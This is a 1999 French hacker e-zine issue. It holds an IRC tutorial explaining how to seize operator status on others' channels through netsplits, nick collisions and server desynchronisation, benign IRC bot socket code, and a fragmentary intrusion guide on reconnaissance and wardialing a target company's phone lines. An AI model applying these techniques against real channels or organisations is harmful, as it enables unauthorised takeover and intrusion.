04.08.99 - H@CKOFF No17 - * Intrus * - °º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø _/ _/ _/_/ _/_/_/ _/ _/ _/_/ _/_/_/_/ _/_/_/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/_/_/_/ _/_/_/_/ _/ _/_/ _/ _/ _/_/_/ _/_/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ / _/ _/ _/ _/ _/_/_/ _/ _/ _/_/ _/ _/ °º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø _________________________________________________________________________ / \ / Bienvenue dans ce Hackoff No 17 Intrus edition. (sous le signe de la | / savate en fait!). Au sommaire de ce numero 17 on vous propose un txt sur / | l'intrusion informatique sous plusieurs angles, la suite de l'irc hack / \ tutorial, les bugs du cgi, bo2k, et probablement la fin du jargon file.. / \________________________________________ ______________________________/ \ | \| __________ .,:;>The Crew<;:,. / .Silk. \ / .Tobozo. \ ____________________________________/ ..Yopyop.. \_____________________________ ¦§¨©ª«¬-®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦/ ..Sniffdoz.. \§¨©ª«¬-®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯/ ....Blured.... \¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ / .....Misto!..... \ / ........NK........ \ ----8<----+-----8<--------8<-------\---8<--+-------8<--- /Special guest! : Stryknine\ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ____________________________________________________________ __________ / TabLe des mAtières : \ / HACK0ff \ |¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯| ]-=v0L 17=-[ | [1]Disclaimer Tobozo | \ Aout 99 / | [2]IRC Hack Tutorial - la suite - Blured75 | ¯¯¯¯¯¯¯¯¯¯ | [3]Intrusion Cakeii | | [4]Cgi et bugs -suite et exemples - Yopyop | | [5]Bo2k Stryknine | | [6]Jargon file -fin?- Tobozo | | | ---------8<------+--------------8<---------------------8<---------------------8<- ¦ : . _ _______________________ _ -*1*- `^°*;:,.> Ð ï $ © £ Å ï M Ê ® <.,:;*°^` _____________________________/¯¯¯¯¯¯¯By Tobozo¯¯¯¯¯¯¯\___________________________
L'acces a ce document impose la lecture de ce (petit) disclaimer : |
¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
function Edito() |
¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
_ ________________________________________ _ -*2*- `^°*;:,.> IRC Hack Tutorial - La suite - <.,:;*°^` ___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯By Blured75¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________
IRC Hack tutorial Texte par bLuReD75 Salut les loubards de l'IRC. Vous vous souvenez de l'irc-hack tutorial? En voici la suite, avec cette fois ci des exemples en annexe (fournis dans le package). Théorie des IRC Nets -------------------- Clients et serveurs IRC est un système client/serveur. Cela veut tout simplement dire qu'il y a une machine qui va se charger de recevoir toutes les connexions des clients. Les serveurs gèrent entre 10 et 1000 connexions IRC simultanées Les clients Les clients, c'est vous et moi, chacun avec une machine différente. Il existe une multitude de clients différents, pour tous les goûts, pour tous les OS. La seule restriction pour pouvoir se connecter à un serveur IRC, c'est que le client respecte le protocole défini dans le RFC 1459 (voir fichier annexe). Les clients les plus connus sont mIRC sous Windows et ircII sous UNIX. Les serveurs Les serveurs sont presque tous sous UNIX. Le logiciel qui s'occupe de recevoir et de gérer les connexions des clients s'appelle ircd (IRC Daemon). Les ressources exigée par un serveur dépendent essentiellement du nombre de personnes qui sont connectées. N'importe qui peut installer un serveur IRC chez lui. Par contre, pour faire partie d'un des quatre grands IRC Nets (20.000 personnes et plus), il faut une machine assez puissante, et surtout une connexion à l'Internet permanente et rapide ! IRC Net Si tout le monde devait se connecter sur le même serveur, le pauvre serveur serait vite depassé par la situtation. C'est pourquoi en plus des connexions client-serveur, le protocole d'IRC permet des connexions serveur-serveur. On peut voir comment sont interconnectés les serveurs en tapant la commande /links. Note : il ne doit jamais y avoir de boucle ! Heureusement, ircd vérifie a chaque connexion si cela ne peut pas créer de boucle. Le cas echeant, la connexion est annulée automatiquement. Comment ça marche ? Imaginons que tous les clients representés soient sur #toto. Si le client 1 dit "glop" sur #toto, le serveur 7 va envoyer ce message au client 2, car il est aussi sur le channel #toto. Mais il va aussi signaler au serveur 2 que le client 1 a dit "glop" sur #toto. Le serveur 2 n'a aucun client sur #toto, donc il va seulement propager le message au serveur 1. Le serveur 1 enverra le message au client 3, ainsi qu'aux serveur 3, 4 et 8, et ainsi de suite... Ca veut bien dire que lorsqu'on fait "glop" sur un channel, le message va se propager à travers le monde jusqu'aux serveurs où sont connectés chacun des membres du channel. Par contre, le message ne se propage pas vers les serveurs qui ne sont pas concernés. La répartition en réseau de serveurs permet donc de diminuer le nombre de connexions sur chaque serveur, mais ça ne diminue pas beaucoup le trafic qui passe entre les serveurs. C'est pourquoi, techniquement, on ne peut pas dépasser des réseaux de plus de 35.000 utilisateurs sans générer un lag pénible pour les utilisateurs : les connexions Internet sont trop lentes ! Netsplits Un phénomène qui en intrigue plus d'un, c'est les splits et les joins. Il arrive parfois que les serveurs IRC soient surchargés, s'il y a trop de monde sur l'IRC Net par exemple. Lorsqu'un serveur n'arrive plus à suivre, il peut décider de "splitter", c'est à dire de casser une de ses liaisons avec un autre serveur. L'IRC Net originel se retrouve alors scindé en deux IRC Nets complètement indépendants. Sur un channel, on voit parfois plusieurs personnes partir au même moment. Cela peut être dû à un netsplit. On reste alors seul avec les personnes qui sont du même côté du split. Imaginons par exemple, que le Serveur 1 et le Serveur 4 splittent. Les clients 1, 2 et 3 voient alors les client 4 et 5 partir, et vice-versa ! On peut aller voir ce qui se passe de l'autre côté du split se connectant à un des serveurs qui a splitté. Sur les nouveaux serveurs 2.9, on peut voir les netsplits/netjoins simplement allant sur le channel &servers. Il est possible de profiter des netsplits pour gagner l'op sur un channel. Evidemment, ce genre de pratique peut conduire à de graves ennuis avec les propriétaires du channel et les IRCOPs qui surveillent ce genre de choses. Voyons point par point comment cela se passe. Supposons que le channel appartienne a Client 2. Jusque là tout va bien. Les choses se gâtent quand le Serveur A décide de splitter. En effet, Client 1 se retrouve alors tout seul. Il peut quitter puis revenir sur le channel pour devenir op. Au moment du netjoin, Client 2 va voir Client 1 arriver, et se faire oper par Serveur A. Inversement, Client 1 va voir Client 2 se faire oper par Serveur B. C'est ce qu'on appelle un server-op. Et qu'est-ce qu'on fait maintenant ? Et bien c'est le plus rapide qui va déoper l'autre. Mais s'ils se déopent en même temps, on peut aboutir à une désynchronisation ! Pour être sûr de gagner l'op, Client 1 aurait pu lancer un deuxième client sur son Serveur A qui aurait pris le même nick que Client 2. Au moment du netjoin, il se serait produit une "nick collision", et les deux personnes, Client 2 et son jumeau, auraient été déconnectées. Client 1 se serait retrouvé seul avec l'op. Avec la version 2.9 des serveurs IRC intervient le Nick Delay, ND. Les serveurs se "souviennent" des channels et des nicks. Si l'on prend un nick qui existait sur un autre serveur, ou si on join un channel qui n'était pas vide avant le split, le serveur renvoie l'erreur : "Nick/channel is temporarily unavailable". Mais comme le dit le message, ça n'est que temporaire, et si le split dure, le channel pourra quand même se faire hacker. Le ND dure en général 10 à 30 minutes, ce qui est supérieur à la durée de la plupart des splits. Désynchronisation Chaque serveur stocke l'état complet du réseau IRC : qui est où, sur quel channel, sur quel serveur, avec quels modes etc... L'état interne est le même à tout instant sur tous les serveurs... en théorie. En pratique, il y a du lag, des délais de plusieurs secondes dûs à la lenteur des connexions Internet. Cela crée un retard dans la propagation des évènements. De ce fait, il arrive parfois que des évènements ne se produisent pas dans le même ordre selon point d'où on les observe. Ca vous rappelle la mécanique quantique ? Alors prenons un exemple concret : Le client 1 deop le client 2, et au même instant (disons à un dixième de seconde près), le client 2 deop le client 1. Sur le serveur A, le deop du client 1 arrive avant le deop du client 2. Pour A, 2 est deopé par 1. D'autre part, sur le serveur B, le deop du client 1 arrive après celui du client 2. Pour B, 1 est deopé par 2. Puis, comme pour tout message, chaque serveur propage le message de deop qu'il a reçu à ses voisins... Mais dans notre cas, quand le deop du client 1 arrive sur le serveur B, 1 n'est plus op, donc le serveur B signale gentiment l'erreur au client 1 : "You are not channel operator". Inversement, le deop du client 2 ne prendra pas effet sur le serveur A. Nos deux serveurs sont maintenant dans deux états différents, et vont le rester ! En effet, il y a égalité entre les serveurs, donc il n'y a pas de raison que l'un d'eux l'emporte sur l'autre. Server-op Il ya deux façon de devenir op sur un channel : Se faire oper par un utilisateur op Se faire oper par un serveur Pour se faire oper par un utilisateur, il faut demander au Monsieur. Se faire oper par un serveur, c'est simple comme bonjour : il suffit de joiner un channel vide ! Eh oui, lorsqu'on arrive sur un channel vide, c'est le serveur sur lequel on est connecté qui nous op. Sympa non ? Maintenant, voyons comment on peut utiliser notre désynch' pour se faire oper : D'abord, on kick le client 2. Evidemment, comme client 1 n'est pas op sur le serveur B, le client 2 ne va s'apercevoir de rien. Pour lui on a l'air bien sage. Maintenant, on quitte notre channel. Pour le serveur A, le channel n'existe plus. Puis on revient ! Qu'est-ce qui se passe ? Et bien pour le serveur A, on vient d'entrer sur un channel vide, donc il nous op. Et en bon serveur qu'il est, il informe les autres serveurs qu'il nous a opé sur ce channel. Sur le serveur B, le client 2 voit de ses yeux ébahis le serveur A nous oper :-) Avertissement Cette méthode peut très bien fonctionner pour prendre le pouvoir sur un channel. Sachez que les IRCOPs ont des moyens de surveiller les désynch', notamment en allant sur le canal local &channel (tout le monde peut y aller). Créer volontairement des désynch' est un très bon motif pour se retrouver banni des serveurs IRC. Logs Si vous n'avez pas cru un mot de ce que j'ai raconté, voici un petit log. Mechant et Gentil sont sur deux serveur differents, et sont au depart tous les deux ops (suite a un netjoin par exemple). *** Users on #Glop: @Mechant @Gentil *** Mode change "-o Gentil" on channel #Glop by Mechant *** Gentil has been kicked off channel #glop by Mechant (Mechant) *** Users on #Glop : @Mechant *** Mechant has left channel #Glop (Mechant) *** Mechant (blured75@ted.via.ecp.fr) has joined channel #Glop +o *** Users on #Glop: @Mechant *** Users on #Glop: @Mechant @Gentil *** Mode change "-o Mechant" on channel #Glop by Gentil *** Users on #Glop : @Gentil Mechant *** Mechant has left channel #Glop (Mechant) *** Mechant (blured75@ted.via.ecp.fr) has joined channel #Glop +o *** Users on #Glop : @Mechant @Gentil Après la désynch', Mechant peut quitter et joiner le channel autant de fois qu'il veut se faire oper par le serveur sur lequel il est. Ce server-op apparait ici au niveau du "+o" qui figure en fin de la ligne de join de Mechant : *** Mechant (blured75@ted.via.ecp.fr) has joined channel #Glop +o . Cela peut aussi apparaître sous la forme d'un *** Mode change "+o Mechant" on channel #Glop by irc.glop.fr juste après le join sur les anciennes version de serveur. Essayez par vous même ! Les serveurs fred.via.ecp.fr et ted.via.ecp.fr sont à votre disposition pour toutes les expériences possibles; ils font partie d'un réseau expérimental, l'ECPnet. Par contre, n'essayez pas sur des serveurs officiels, vous risqueriez d'en être banni. ************************************************************************ IRC-Nets Voici une petite liste de serveurs sur lesquels on peut se connecter depuis la France. Vous trouverez une liste et des cartes complètes de serveurs sur le site de #IRChelp . Principaux serveurs IRCnet 130 serveurs, 25.000 utilisateurs sil.polytechnique.fr irc.enst.fr irc.emn.fr irc.grolier.net salambo.Enserb.U-Bordeaux.Fr irc.insat.com IRC.Eurecom.FR irc.funet.fi irc.stealth.net irc.webbernet.net EFnet 70 serveurs, 40.000 utilisateurs irc.ec-lille.fr Ce serveur français, normalement connecté à IRCnet, s'est exilé sur EFnet suite à de sombres histoires d'IRCOP... Undernet 40 serveurs, 25.000 utilisateurs Caen.Fr.Eu.UnderNet.org Diemen.NL.EU.undernet.org DALnet 30 serveurs, 20.000 utilisateurs taxi.ny.us.DAL.net Serveurs divers ECPnet Petit réseau deviendra... petit. tibob.via.ecp.fr LinuxNET et LISC Pour parler de Linux. irc.blackdown.org irc.debian.org Microsoft Network Ou les RFCs bafoués en tous points. irc.msn.com SandNET Un réseau sympa avec services de registration stlouis-mo-sandnet.ml.org UltraNET Le réseau de Club-Internet neuilly.fr.eu.ultranet.org Gamma Force Petit réseau Nord Americain phantom.ultranet.ca Spririt Web Serveur en mal de connectés irc.spiritweb.org KidLink et Kids World Dédié aux enfants, il faut d'abord s'inscrire. ************************************************************************ BOT Introduction Je vous propose de construire étape par étape, de manière simple, un robot IRC. Connexion à une machine Connexion D'abord votre bot va devoir se connecter à un serveur. Vous trouverez ici (voir fichier annexe - prog_irc.txt) un petit programme en Python qui ouvre une socket en TCP sur le port 6667, exactement comme le ferait un client IRC "normal". Voici la version en C, (idem) un moins parlante. Vous pouvez aussi établir cette connexion "à la main" en tapant simplement sous UNIX : telnet <server> 6667 Par exemple : ted:~>telnet irc.funradio.fr 6667 Trying 138.195.128.128... Connected to tibob.via.ecp.fr. Escape character is '^]'. Sous Windows, il suffit de faire "connexion distante", et préciser, en plus de l'hôte, le port "6667" au lieu du port "telnet". Maintenant, on est connecté, mais on n'est pas encore authentifié au niveau du serveur IRC. Login Le Login est une phase ou le client donne les infos nécessaires pour que le serveur nous "enregistre". Le protocole est une fois de plus défini dans le RFC 1459 (idem voir fichier annexe) au paragraphe 4.1, et se résume à peu pres à : envoyer une première ligne : NICK <nick> envoyer une seconde ligne : USER <username> <hostname> <servername> <realname> <username> est le login <hostname> le nom de machine <servername> est le nom de serveur <realname> est l'IRCNAME qui apparait lors d'un whois Remarques : N'oubliez pas le [enter] en fin de ligne ('\n' en C) hostname et servername sont ignorés par le serveur (ca ne sert que lorsque deux serveurs discutent entre eux) username sera remplacé par le vrai login si la machine depuis laquelle on se connecte a un démon d'identification (identd). C'est le cas de la plupart des machines. Certains serveurs demandent un mot de passe, qui doit etre specifié dans une troisième ligne : PASS <password> Certains serveurs vont envoyer un PING :<numéro>, auquel cas on devra répondre avec un PONG <numéro> pour terminer l'enregistrement. Voyons cela en pratique : ted:~>telnet irc.funradio.fr 6667 Trying 138.195.128.128... Connected to tibob.via.ecp.fr. Escape character is '^]'. USER toto titi tata tutu NICK toutou :tibob.via.ecp.fr 001 toutou :Welcome to the Internet Relay Network toutou!fred@ted.via.ecp.fr :tibob.via.ecp.fr 002 toutou :Your host is tibob.via.ecp.fr, running version 2.9.4 :tibob.via.ecp.fr 003 toutou :This server was created Tue Feb 24 1998 at 19:32:22 CET :tibob.via.ecp.fr 004 toutou tibob.via.ecp.fr 2.9.4 oirw abiklmnopqstv La plupart des clients exécutent alors immédiatement les deux commandes suivantes : LUSER (vous affiche des infos sur les connexions de ce serveur) MOTD (vous affiche le "Message Of The Day") Une fonction qui effectue le LOGIN est très simple; en voici un exemple en Python et en C (voir annexe). On a maintenant un robot capable de faire de l'IRC, c'est déjà beaucoup ! PING ? PONG ! Malheureusement, l'espérance de vie de notre robot est, à cet instant, limitée à quelques minutes seulement. En effet, si l'on poursuit notre "TP", on voit apparaître au bout d'un instant : PING :tibob.via.ecp.fr ERROR :Closing Link: toutou[fred@ted.via.ecp.fr] (Ping timeout) Connection closed by foreign host. Le serveur nous envoie un PING pour vérifier que la connexion est bonne. Il faut répondre... PONG bien sûr ! C'est ce qu'on appelle "le challenge" du serveur. (voir annexe) PING après le PONG : PING :tibob.via.ecp.fr PONG :tibob.via.ecp.fr S'il n'y a pas de PONG, le serveur envoie un message d'erreur et ferme la connexion. Le délai pour répondre est de l'ordre d'une minute, selon les serveurs, mais on a tout intérêt à répondre le plus tôt possible ! Voici une fonction en Python ou en C qui écoute sur la socket que l'on a ouvert, et repond en cas d'un eventuel PING. Zebot Parfait, toutes les fonctions vitales d'un bot sont là. On peut les assembler pour faire un bot qui va se connecter et rester connecté indéfiniment : c'est Zebot, le bot zéro, et son homologue en Python Pybot (voir annexe). On peut même faire un script Shell, qui effectue les opérations de notre "TP", puis rentre dans une boucle qui PONG; c'est le Sh-Bot. Attention, c'est programmé au plus simple. On remarquera que le programme plante si on flood le bot par exemple. A perfectionner ! Sockets Introduction Zebot, tel qu'il a été construit, n'a aucun avenir. On verra le problème de structure tout à l'heure, mais avant cela il y a deux problemes de socket : Zebot a une socket bloquante : il ne peut absolument rien faire pendant qu'il fait son read(sock, buff, MAX_SIZE-1). Zebot n'écoute que sur une seule socket. Or un bot doit pouvoir faire plusieurs choses pendant qu'il écoute sur le réseau, et il doit aussi pouvoir écouter sur plusieurs sockets, s'il accepte les DCC CHAT par exemple. Select/fd_set Ce paragraphe va etre très technique, mais apporte une solution propre à nos deux problèmes. fd_set On déclare une variable globale de type fd_set, nommée fdused. #include <string.h> /* FD_SET */ extern fd_set fdused; /* liste des sockets sur lesquelles on fait le select */ Puis on suit la procédure suivante : Initialisation Une petit fonction d'initialisation : void initsocket(void) { sockmax=0; FD_ZERO(&fdused); /* initialisation de fdused */ } Ajout d'une socket A chaque fois que l'on va ouvrir une nouvelle socket (un nouveau DCC CHAT ou une nouvelle connexion à un serveur), on va appeler la fonction suivante : void addsocket(int sock) { FD_SET(sock,&fdused); /* on note dans fdused que la socket 'sock' est utilisee */ if(sock>sockmax) /* on a besoin de connaitre le plus grand */ sockmax=sock; /* numero de socket pour le select */ printf("Added sock %d\n", sock); } Effacement d'une socket Inversement, si l'on doit fermer une socket, on appellera : void delsocket(int sock) { FD_CLR(sock,&fdused); if(sock==sockmax) { while(--sock>0) if(FD_ISSET(sock,&fdused)) break; sockmax=sock; } } puis on fermera la socket : close(sock); Select Maintenant, voyons comment nous allons pouvoir écouter sur toutes les sockets positionnées dans fdused, tout en faisant autre chose. La fonction select prend 5 arguments. Le premier est le numéro de socket le plus grand plus un ! (sockmax +1). Le second est notre fdused. Les 3e et 4e sont NULL. Le dernier est le temps au bout duquel on sortira du select même si on a rien reçu. C'est grâce à ce dernier argument qu'on pourra reprendre regulièrement la main pour faire autre chose (toutes les 100ms par ex.). Note : si on reçoit quelquechose, on sort tout de suite du select. fd_set fdread; int status; char buff[512]; struct timeval timeout={0L, 100000L}; /* .1 second max. in select */ memcpy(&fdread, &fdused, sizeof(fdused)); /* on fait une copie de fdused */ while((status=select(sockmax+1, &fdread, NULL, NULL, &timeout))<0) warn_log("receive: Error receiving socket"); timeout.tv_sec=0; /* timeout a été effacé par select */ timeout.tv_usec=100000; /* donc il faut le remettre a 0.1 sec */ Si la variable status est à 0, c'est qu'on est sorti par timeout, donc il n'y a rien dans les sockets. Par contre, si status n'est pas nul, il faut aller voir ce qui a été reçu sur chacune des sockets. Supposons qu'on ait une structure socket, avec un numéro de socket, socket.number, et un pointeur sur la socket suivante, socket.next (le dernier pointant sur NULL). first_socket est notre première socket. for(reactor=first_socket; reactor!=NULL; reactor=reactor->next) if(FD_ISSET(reactor->number, &fdread)!=0) /* On regarde s'il y a quelquechose dans cette socket */ read_msg(reactor); /* Il y a quelquechose, on appelle une fonction qui fera un read(reactor,...) */ On remarquera que le select ne lit pas les données. Il permet juste de savoir s'il y en a en attente ou pas. Conclusion On a maintenant le nécessaire pour gérer un nombre illimité de sockets. Il reste bien sur à écrire les fonctions read_msg qui lisent les messages reçu, les traitent, et réagissent en fonction de leur contenu. Configuration Dernière chose avant de passer à la structure du bot : le parsage de la configuration. En effet, il ne faut pas faire comme dans Zebot où l'on a codé en dur l'adresse du serveur par exemple. Généralement, on fait un fichier contenant les informations sur les serveurs IRC, un autre sur les utilisateurs du robot, avec leurs droits. Le robot doit lire ces fichiers au lancement, et sauvegarder sa configuration dedans au cours de son fonctionnement. Le parsage des fichiers est quelquechose d'assez fastidieux à coder en C. On peut utiliser Lex et Yacc. Ce système de fichiers de configuration permet de ne pas avoir à recompiler le bot à chaque changement de configuration, ce qui est appréciable ! Structure Voilà, on y est ! Voyons d'abord les quatres fonctions du bot : Le parser s'occupe de traiter les messages reçu sur les sockets. Le if s'occupe d'appeler les fonctions concernées par le message reçu. Les fonctions réagissent en fonction du message reçu. C'est le coeur du robot. La queue s'occupe de traiter les information sorties des fonctions pour les envoyer au serveur. La Queue Il faut absolument faire une fonction qui récupère les messages générés par les fonctions et les envoie vers le serveur IRC. En effet, si toutes les fonctions envoient des données directement dans les sockets, on a aucun contrôle sur le débit envoyé. Si toutes les fonctions parlent en même temps, le bot va flooder le serveur IRC. Il risque alors de se faire déconnecter. Toutes les fonctions doivent donc impérativement envoyer leur données vers une fonction qui les stocke, et les envoie progressivement. Malheureusement, il n'y a pas d'algorithme sûr pour calculer le débit que l'on peut envoyer sans flooder le serveur. Il vaut mieux le déterminer expérimentalement, selon le serveur. S'il y a beaucoup de messages en attente, la fonction de queue peut se charger aussi d'optimiser : passer les messages importants avant les autres, regrouper les modes, etc... Le Parser Le parser obtient les données brutes venant du serveur. Par exemple : :toto!hero@glop.via.ecp.fr PRIVMSG #glop :Salut ! Il va se charger par exemple de séparer le nick, le login et le host, et mettre tout ça dans un belle structure. Un peut aussi en profiter pour rechercher les droits de la personne en question dans une userlist enregistrée quelquepart. Par exemple : struct message { struct user { char *nick; char *login; char *host; int user_level; } *from; char *commande; char *to; char *texte; }; Ensuite, le parser passe cette structure au "if"... Le "If" Il s'agit en fait de la moulinette qui va aiguiller la structure envoyée par le parser vers les fonctions qui doivent être appelées. Cela peut être une opération très basique, comme une succession de "if(!strcmp(parsed_msg->commande, "PRIVMSG")) ..." ou autre chose de plus compliqué (voir Lignus II, quand le site sera fait...). Les fonctions Ce sont les fonctions qui constituent l'âme du bot. Les autres modules ne sont que des interfaces. Un fonction peut être très simple : quand elle reçoit un PING :%s, elle renvoie un PONG :%s, ou très complexe (selon l'imagination du concepteur). Listes doublement chaînées Un bot, c'est plein d'allocations dynamiques. Il est donc conseillé d'utiliser des listes doublement chaînees : c'est plus pratique et plus sûr. Annexes (fichiers joints dans le package) : La version en C : socket.c Le RFC 1459 sur l'IRC -irc_rfc_fr1459.htm Fonction qui effectue un login en Python : -log_in.py Le même en C : -log_in.c Fonction qui écoute sur le socket que l'on a ouvert et répond en cas d'un éventuel PING (en python) : -pong.py Fonction qui écoute sur le socket que l'on a ouvert et répond en cas d'un éventuel PING (en C) : -pong.c Script de ZeBot en Python : -pybot.py Script de Zebot en C : -zebot.c Zebot en script sh --> ShBot : -bot.sh Et petit cado : Connection à un serveur irc en python : #! /usr/bin/python # On importe toutes les fonctions de la librairie "socket" from socket import * host = 'blured.via.blurhost.fr' # On resoud le nom de machine hostaddr = gethostbyname(host) # On ouvre une socket # AF_INET - type Internet # SOCK_STREAM - type TCP (par opposition avec UDP) sock = socket(AF_INET, SOCK_STREAM) # Et on se connecte ! s ock.connect(host, 6667) # Et voila ! Blured
¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
_ ________________________________________ _ -*3*- `^°*;:,.> Intrusion <.,:;*°^` ___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯ By Cakeii ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________
Recoupement d'informations : cakeii |
Intrusion et securite | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
IntrusionC e document a pour but de vous initier à l'intrusion dans un système informatique et ce, dans un but purement educatif. On considere ici que l'intrusion est un pas a franchir dans le chemin qui mene a la notion de securite informatique.
D epuis quelques temps, c'est la sérenade dans la presse informatique et nationale sur les nouveaux 'hackers', pardon 'consultants en sécurité' serait plus adéquat, qui font des essais d'intrusions, ils sont rénumérés pour hacker et tester la securité informatique ! Derrière le terme 'hacker' il y a des competences en techniques simples : une bonne connaissance de l'informatique TCP/IP, Unix, un ou deux langages de programmation (de preference C et Perl) et un esprit souple.L a Technique de l'intrusion demande surtout de savoir lire les faq des groupes de hackers américains, puisqu'il n'en existe pas réellement en français. Pour le plaisir des petit et des grands, nous allons découvrir le monde merveilleux de l'intrusion.ApprocheNotre approche consiste à attaquer selon 3 axes et en 3 phases. Les 3 axes :
Préliminaire : Le matosIl faut disposer des équipements suivants :
Pour les OS Win32, les soft pour le hack sont sous dimensionnés, donc on utilisera plutôt Win 3.11 ou Linux. Phase 0 : récupération d'outils et configuration des machinesLes outils sont différents selon les axes d'attaques et selon l'OS utilisé pour l'attaque. Il est évident que UNIX est l'OS le plus simple pour réaliser ce type d'opération car la quasi-totalité des outils sont standards et peuvent être automatisés dans un shell script. Attention : Autant, il est " facile " de communiquer vers un provider sous W3, W95 et Windows NT, autant cela n'est pas simple sous LINUX.
Outils standard
Outils spécifiques
Dispo en telechargement sur des sites underground repondant au mot-clé phreaking dans les moteurs de recherche.
Phase 1 : récupération d'informations
Ce qui distingue cette phase de la suivante, c'est que toutes les opérations réalisées sont totalement licites. Il ne s'agit que de récupération d'informations disponibles sur Internet ou ailleurs. Seules certaines récupérations et l'usage de TONELOC (appels des plages d'un autocom) sont limites. Source d'informations "ponctuelles"Les sources d'informations ponctuelles peuvent être multiples (carte de visite obtenues de différentes manières (visite commerciale chez la victime, annuaire, Minitel, informations recueillies par echanges, etc.). Elles ont pour objectif de récupérer :
Source d'informations techniques
Les sources d'informations techniques peuvent être soit immédiatement obtenues par des informations "publiques" sur la victime (son nom, le nom de ses filiales, etc.) soit itérées en fonction des résultats du chapitre précédent.
Récupération des adresses IP officielles dans l'annuaire DNS avec "whois", "nslookup" et "dig ". Utilisation des vecteurs classiques (moteurs de recherche, news via www.dejanews.com, email via www.four11.com, etc.) pour obtenir des domaines de messagerie ou des serveurs web.
1. L'annuaire DNS mondial
Un nombre important d'adresses IP européennes est aujourd'hui gérée par le RIPE. Le serveur "whois.ripe.net" permet de récupérer des infos mais il n'est pas aussi souple sur les caractères de substitutions que celui d'internic. mettre un exemple de whois Selon les cas, on trouve soit des adresses IP de réseau (le pied) soit des noms de réseaux. Si on obtient des noms de réseaux uniquement, il y a de forte chance pour que le site ne soit pas directement connecté à internet mais uniquement via un provider et en connexion à la volée A contrario, ce n'est pas parce que l'on obtient une adresse IP que la société est réellement connectée sur Internet. Elle peut avoir simplement réservé cette adresse pour un usage futur. On doit donc utiliser dans cet outil :
Remarque :
gopher://ds1.internic.net:4320/7netfind%20dblookup C'est une couche réseau qui exploite les tables DNS. On interroge tout d'abord la table internic (rs.internic.net) puis si nécessaire d'autres serveurs .
A valeur par défaut, adresse/nom DNS ou inverseLes autres valeurs sont : CNAME, NS, PTR, SOA, AXFR, MB, MD, MF, ANY (qui ne marche pas). Pour plus de détail, cf. Man nslookup et rfc1035.
Remarque : 2. Les moteurs de recherches
3. Les news
4. Les annuaires d'email.
Joseph Abdallah @lanl.gov CURRENT ORGANIZATION: T-4 Atomic And Optical Theory Raj Acharya @vaxd.gat.com CURRENT ORGANIZATION: General Atomics
Les domaines d'email sont surement l'un des moyens les plus efficaces pour trouver des adresses gérées par des providers ou des sites qui n'ont pas le nom des sociétés de la victime dans leur nom.
Axe RTC : Recherche de ModemUtilisation du dialer MSDOS TONELOC pour détecter les porteuses de modems. Une recherche de modem peut être envisagée dès lors que l'on connaît des numéros ou des plages de numéros correspondant à la société cible. Cette méthode ne garantit aucunement l'exhaustivité de la recherche puisque les modems sont souvent accessibles au travers de numéros analogiques qui ne sont pas gérés par le PABX. Une recherche plus efficace peut être envisagée en parcourant exhaustivement les plages utilisées sur le site géographique de la cible. Il est par contre impossible dans ce cas d'être sûr que les numéros sur lesquels une porteuse est détecté appartiennent bien à la cible. Cela pose un problème financier (si des particuliers sont appelés, ils décrocheront et la communication deviendra payante). Les contraintes
Le coût
Le temps
garantie de résultat
Les numéros correspondant à des fax (notamment celui que l'on trouve avec le numéro du standard) peuvent donner des plantage du modem. C'est relativement aléatoire puisque l'on ne peut préjuger de quand ces numéros seront composés, et quand on aura des problèmes de détection.
Ce programme sait gérer le parcours automatique de plages de numéros, en identifiant des porteuses ou des tonalités. La deuxième fonctionnalité est probablement inintéressante en France, au moins dans notre contexte. Une présentation rapide du paramétrage de ce produit est fournie en annexe 1.
Caractéristiques Toneloc produit trois fichiers différents lorsqu'il s'exécute (dans le meilleur des cas, c'est à dire lorsqu'il a trouvé des porteuses, sinon deux fichiers seulement). Ce sont :
Limitations de toneloc :
